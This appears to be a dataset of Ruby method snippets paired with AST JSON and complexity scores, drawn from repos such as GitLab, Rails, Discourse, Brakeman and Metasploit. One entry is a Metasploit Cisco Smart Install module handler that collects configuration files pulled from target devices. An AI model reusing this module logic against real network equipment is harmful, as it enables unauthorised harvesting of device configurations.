{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/model/pricing.rb","start_line":15,"raw_source":"def method_missing(method, *args)\n        if respond_to_missing?(method)\n          @data[method.to_sym] || PricingCategory.new\n        else\n          super\n        end\n      end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to_missing?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PricingCategory\"]},\"new\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"de516c39-2b14-4f17-99dd-a33c8cf3a42e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/metadata/parse_hcl_file_service.rb","start_line":135,"raw_source":"def process_module_arguments(line)\n          DEPENDENCY_REGEXES.each do |key, regex|\n            block_data[key.to_s] = Regexp.last_match(1) if line =~ regex\n          end\n        end","complexity_score":9.35,"ast_json":"{\"type\":\"def\",\"children\":[\"process_module_arguments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEPENDENCY_REGEXES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"regex\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_data\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},null]}]}]}","id":"50613d0b-8cf9-434e-a4a0-236db7d32863"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/misc/cisco_smart_install.rb","start_line":100,"raw_source":"def process_incoming(info)\n    return if not info[:file]\n\n    name = info[:file][:name]\n    data = info[:file][:data]\n    from = info[:from]\n    return if not (name && data && from)\n\n    # Trim off IPv6 mapped IPv4 if necessary\n    from = from[0].dup\n    from.gsub!('::ffff:', '')\n\n    print_status(\"Incoming file from #{from} - #{name} (#{data.length} bytes)\")\n    cisco_ios_config_eater(from, rport, data)\n  end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"process_incoming\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"lvar\",\"children\":[\"from\"]}]}]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"::ffff:\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Incoming file from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cisco_ios_config_eater\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"92282661-c155-4760-aad2-5a154e37af4d"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3.1/app/controllers/users_controller.rb","start_line":128,"raw_source":"def test_less_simple_helpers\n    assign_ivar\n    @input = less_simple_helper\n    @other_thing = simple_helper_with_args(params[:x])\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_less_simple_helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assign_ivar\"]},{\"type\":\"ivasgn\",\"children\":[\"@input\",{\"type\":\"send\",\"children\":[null,\"less_simple_helper\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@other_thing\",{\"type\":\"send\",\"children\":[null,\"simple_helper_with_args\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"x\"]}]}]}]}]}]}","id":"fc268aa2-971d-4e7c-b39a-f065b613f3b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/loose_foreign_keys_helper.rb","start_line":16,"raw_source":"def process_loose_foreign_key_deletions(record:, worker_class: nil)\n    service_params = {\n      connection: record.connection,\n      modification_tracker: SpecModificationTracker.new\n    }\n\n    service_params[:worker_class] = worker_class if worker_class\n\n    LooseForeignKeys::ProcessDeletedRecordsService.new(**service_params).execute\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_loose_foreign_key_deletions\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"record\"]},{\"type\":\"kwoptarg\",\"children\":[\"worker_class\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"modification_tracker\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpecModificationTracker\"]},\"new\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"worker_class\"]},{\"type\":\"lvar\",\"children\":[\"worker_class\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LooseForeignKeys\"]},\"ProcessDeletedRecordsService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_params\"]}]}]}]},\"execute\"]}]}]}","id":"f564c94d-5963-4f76-8e83-09c02a689a7b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/mail_starttls_patch.rb","start_line":48,"raw_source":"def smtp_tls?\n      (setting_provided?(:tls) && settings[:tls]) || (setting_provided?(:ssl) && settings[:ssl])\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"smtp_tls?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setting_provided?\",{\"type\":\"sym\",\"children\":[\"tls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tls\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setting_provided?\",{\"type\":\"sym\",\"children\":[\"ssl\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ssl\"]}]}]}]}]}]}","id":"a45117ee-4c8d-4f37-bcd6-ef73748d0c44"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/project.rb","start_line":70,"raw_source":"def project\n              # Although we use `where_full_path_in`, this BatchLoader does not reduce the number of queries to 1.\n              # That's because we use it in the `can_access_local_content?` and `sha` BatchLoaders\n              # as the `for` parameter. And this loads the project immediately.\n              BatchLoader.for(project_name)\n                         .batch do |project_names, loader|\n                ::Project.where_full_path_in(project_names.uniq).each do |project|\n                  # We are using the same downcase in the `initialize` method.\n                  loader.call(project.full_path.downcase, project)\n                end\n              end\n            end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"for\",{\"type\":\"send\",\"children\":[null,\"project_name\"]}]},\"batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_names\"]},{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]},\"where_full_path_in\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_names\"]},\"uniq\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"full_path\"]},\"downcase\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}","id":"b1d99509-a29c-40db-a317-0a1cf226c02c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/group_child_serializer.rb","start_line":28,"raw_source":"def represent_hierarchies(children, opts)\n    if children.is_a?(GroupDescendant)\n      represent_hierarchy(children.hierarchy(hierarchy_root), opts).first\n    else\n      hierarchies = GroupDescendant.build_hierarchy(children, hierarchy_root, opts)\n      # When an array was passed, we always want to represent an array.\n      # Even if the hierarchy only contains one element\n      represent_hierarchy(Array.wrap(hierarchies), opts)\n    end\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"represent_hierarchies\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"children\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"GroupDescendant\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represent_hierarchy\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"hierarchy\",{\"type\":\"send\",\"children\":[null,\"hierarchy_root\"]}]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"first\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hierarchies\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupDescendant\"]},\"build_hierarchy\",{\"type\":\"lvar\",\"children\":[\"children\"]},{\"type\":\"send\",\"children\":[null,\"hierarchy_root\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"represent_hierarchy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"hierarchies\"]}]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}","id":"89293ee4-825e-4b1d-bacf-82de93183257"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/integrations_helper.rb","start_line":278,"raw_source":"def add_to_slack_link_redirect_url(parent)\n    case parent\n    when Project\n      slack_auth_project_settings_slack_url(parent)\n    when Group\n      slack_auth_group_settings_slack_url(parent)\n    when nil\n      slack_auth_admin_application_settings_slack_url\n    end\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add_to_slack_link_redirect_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"send\",\"children\":[null,\"slack_auth_project_settings_slack_url\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},{\"type\":\"send\",\"children\":[null,\"slack_auth_group_settings_slack_url\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"slack_auth_admin_application_settings_slack_url\"]}]},null]}]}","id":"209b442a-7ceb-4229-995b-65ec3b5f165f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb","start_line":324,"raw_source":"def pool_jitter(duration)\n        duration * (1.0 - @pool_jitter)\n      end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"pool_jitter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"duration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"float\",\"children\":[1.0]},\"-\",{\"type\":\"ivar\",\"children\":[\"@pool_jitter\"]}]}]}]}]}","id":"58be5377-7fdf-47af-98ff-5afb9d80406c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/batched_migration_base_class.rb","start_line":33,"raw_source":"def on_module(module_node)\n          return unless top_level_module?(module_node)\n\n          top_level_class_node = module_node.each_descendant(:class).first\n\n          return if top_level_class_node.nil? || inherits_batched_migration_job?(top_level_class_node)\n\n          add_offense(top_level_class_node)\n        end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_module\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"module_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"top_level_module?\",{\"type\":\"lvar\",\"children\":[\"module_node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"top_level_class_node\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_node\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"class\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"top_level_class_node\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"inherits_batched_migration_job?\",{\"type\":\"lvar\",\"children\":[\"top_level_class_node\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"top_level_class_node\"]}]}]}]}","id":"2b1cd981-58e5-4d25-8d78-5b45668b508b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/wizard_field_serializer.rb","start_line":37,"raw_source":"def i18n_key\n    @i18n_key ||= \"wizard.step.#{object.step.id}.fields.#{object.id}\".underscore\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"i18n_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@i18n_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"wizard.step.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"step\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\".fields.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]}]},\"underscore\"]}]}]}","id":"5ec11717-67bc-4230-8aa0-925f2473c86e"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/vbulletin.rb","start_line":669,"raw_source":"def import_signatures\n    puts \"Importing user signatures...\"\n\n    total_count = mysql_query(<<-SQL).first[0].to_i\n      SELECT COUNT(userid) count\n        FROM #{TABLE_PREFIX}sigparsed\n    SQL\n    current_count = 0\n\n    user_signatures = mysql_stream <<-SQL\n        SELECT userid, signatureparsed\n          FROM #{TABLE_PREFIX}sigparsed\n      ORDER BY userid\n    SQL\n\n    user_signatures.each do |sig|\n      current_count += 1\n      print_status current_count, total_count\n      user_id = sig[0]\n      user_sig = sig[1]\n      next if user_id.blank? || user_sig.blank?\n\n      u = UserCustomField.find_by(name: \"import_id\", value: user_id).try(:user)\n      next if u.blank?\n\n      # can not hold dupes\n      UserCustomField.where(\n        user_id: u.id,\n        name: %w[see_signatures signature_raw signature_cooked],\n      ).destroy_all\n\n      user_sig.gsub!(%r{\\[/?sigpic\\]}i, \"\")\n\n      UserCustomField.create!(user_id: u.id, name: \"see_signatures\", value: true)\n      UserCustomField.create!(user_id: u.id, name: \"signature_raw\", value: user_sig)\n      UserCustomField.create!(\n        user_id: u.id,\n        name: \"signature_cooked\",\n        value: PrettyText.cook(user_sig, omit_nofollow: false),\n      )\n    end\n  end","complexity_score":47.1,"ast_json":"{\"type\":\"def\",\"children\":[\"import_signatures\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Importing user signatures...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      SELECT COUNT(userid) count\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"sigparsed\\n\"]}]}]},\"first\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"user_signatures\",{\"type\":\"send\",\"children\":[null,\"mysql_stream\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        SELECT userid, signatureparsed\\n\"]},{\"type\":\"str\",\"children\":[\"          FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"sigparsed\\n\"]},{\"type\":\"str\",\"children\":[\"      ORDER BY userid\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_signatures\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sig\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"current_count\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sig\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_sig\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sig\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_sig\"]},\"blank?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"u\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserCustomField\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"import_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserCustomField\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"see_signatures\"]},{\"type\":\"str\",\"children\":[\"signature_raw\"]},{\"type\":\"str\",\"children\":[\"signature_cooked\"]}]}]}]}]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_sig\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[/?sigpic\\\\]\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserCustomField\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"see_signatures\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserCustomField\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"signature_raw\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"user_sig\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserCustomField\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"signature_cooked\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"cook\",{\"type\":\"lvar\",\"children\":[\"user_sig\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"omit_nofollow\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}]}]}]}","id":"40fb9f16-ba7e-40cc-b104-ce6da9389ee6"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/haml6_template_processor.rb","start_line":61,"raw_source":"def javascript_escaped? call\n    # TODO: Adding here to match existing behavior for HAML,\n    # but really this is not safe and needs to be revisited\n      call.method == :j or\n        call.method == :escape_javascript\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"javascript_escaped?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"j\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"escape_javascript\"]}]}]}]}","id":"f293be1e-0867-41e0-bd89-4c8970db7ba5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache/mem_cache_store.rb","start_line":165,"raw_source":"def decrement(name, amount = 1, options = nil)\n        options = merged_options(options)\n        key = normalize_key(name, options)\n\n        instrument(:decrement, key, amount: amount) do\n          rescue_error_with nil do\n            @data.with { |c| c.decr(key, amount, options[:expires_in], 0) }\n          end\n        end\n      end","complexity_score":15.65,"ast_json":"{\"type\":\"def\",\"children\":[\"decrement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"amount\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"merged_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"normalize_key\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"sym\",\"children\":[\"decrement\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rescue_error_with\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"c